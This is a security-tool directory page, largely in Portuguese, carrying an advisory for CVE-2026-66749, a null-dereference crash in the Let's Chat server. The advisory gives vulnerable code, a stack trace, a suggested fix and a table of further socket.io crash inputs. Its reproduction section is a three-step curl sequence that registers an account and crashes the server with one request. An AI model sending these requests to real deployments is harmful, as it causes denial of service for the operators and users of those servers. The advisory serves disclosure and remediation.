Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Aviso de Segurança: Consulta de Sala Não Verificada Causa Queda do Servidor (Let's Chat)

Ver Repositório
há 22 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)

Assigned CVE ID: CVE-2026-66749

Resumo

Uma única solicitação HTTP de qualquer conta autenticada derruba o processo do servidor Let's Chat.

GET /messages recebe um parâmetro room, localiza essa sala pelo id e então chama um método no resultado sem verificar se a consulta retornou algo. Envie um id que seja uma string hexadecimal válida de 24 caracteres, mas que não pertença a nenhuma sala, e o TypeError resultante será lançado dentro de um callback do Mongoose. O Express só captura exceções levantadas de forma síncrona dentro de um handler; portanto, essa exceção chega ao Node como uma exceção não capturada e o processo é encerrado.

Versões afetadas

Repo URL: https://github.com/sdelements/lets-chat

Vulnerável da versão 0.4.0 (commit 84981a6, 21 de fevereiro de 2015, que introduziu a chamada canJoin) até a 0.4.8, o lançamento final. Não existe versão corrigida.

Confirmado na 0.4.8 no commit 617207f, e em docker.io/sdelements/lets-chat:latest (0.4.7), que ainda pode ser obtida publicamente.

Classificação

CWE-476: NULL Pointer Dereference, levando a CWE-248 Uncaught Exception e CWE-400 Uncontrolled Resource Consumption.

CVSS 4.0 pontuação base 7.1 (Alta) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modelo de ameaça

O atacante precisa de uma conta de usuário comum e acesso de rede à porta HTTP. Não precisa ser dono ou pertencer a nenhuma sala, conhecer qualquer id de sala existente, nem possuir qualquer função elevada.

O requisito de conta é fraco em uma instalação padrão, porque auth.local.enableRegistration tem o valor padrão true em defaults.yml; assim, qualquer pessoa que consiga acessar a página de login pode criar uma conta e então executar a solicitação.

Nem o Procfile (web: npm start) nem o docker/docker-compose.yml configuram um supervisor ou política de reinício; portanto, em uma implantação padrão, uma única solicitação derruba o serviço até que um operador o reinicie. Quando um operador adicionou supervisão de processos, o atacante pode simplesmente repetir a solicitação.

Detalhe técnico

A rota não registra middleware de validação de sala. app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

Compare com app/controllers/messages.js:34-41, onde a variante com escopo de sala adiciona middlewares.roomRoute, que resolve a sala e retorna 404 quando ela não existe:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

Assim, em /messages, o valor room chega ao gerenciador sem validação. app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById chama o callback com (null, null) quando o id é convertido corretamente, mas não corresponde a nenhum documento. Não há uma proteção if (!room), então a linha 129 desreferencia null.

Saída observada:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

Reprodução

Contra uma instalação padrão na porta 5000, sem alterações de configuração:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

O passo 3 não retorna corpo e o curl sai com o código 52 (resposta vazia do servidor). O processo do servidor foi encerrado. Qualquer id que seja 24 caracteres hexadecimais e não corresponda a nenhuma sala funciona.

Outras ocorrências do mesmo defeito

express.oi registra cada chave app.io.route(...) como um handler socket.on(...) comum (initRoutes em node_modules/express.oi/lib/index.js). Um cliente socket.io autenticado pode, portanto, chamar esses handlers diretamente, o que ignora a cadeia de middlewares do Express, incluindo roomRoute. Isso também remove o try/catch do Express, de modo que uma exceção síncrona que seria um 500 via HTTP mata o processo via socket.io.

Cada uma das situações a seguir também encerra o processo. Todas confirmadas.

Correção sugerida

Proteja as consultas. Em app/core/messages.js:118 e app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 precisa do mesmo tratamento antes de chamar sanitizeRoom, e app/core/rooms.js:248 deve rejeitar um options.identifier ausente ou que não seja string.

Duas alterações eliminariam toda a classe de vulnerabilidades, em vez de apenas essas ocorrências. Primeiro, faça a coerção e validação dos parâmetros de consulta que são presumidos como strings (expand, room, id, take, skip) no limite do controlador. Segundo, envolva o despacho dos handlers do socket.io em um try/catch e anexe um handler de process.on('uncaughtException') para que uma única solicitação inválida seja convertida em uma resposta de erro em vez de interromper o servidor.

Baixar ferramenta
Acessível viaEntradaLocal do lançamento
HTTP e socket.iomessages:list, room definido para um id inexistenteapp/core/messages.js:129
HTTP e socket.iofiles:list, room definido para um id inexistenteapp/core/files.js:167
socket.iorooms:get com um id inexistente, ou sem idapp/core/rooms.js:213 via :234
socket.iorooms:users sem salaapp/core/rooms.js:248
socket.iorooms:join sem idapp/core/rooms.js:248
socket.iomessages:list com expand como um arrayapp/core/messages.js:97
socket.iofiles:list com expand como um arrayapp/core/files.js:139
socket.iousers:get com id como um objetoapp/models/user.js:139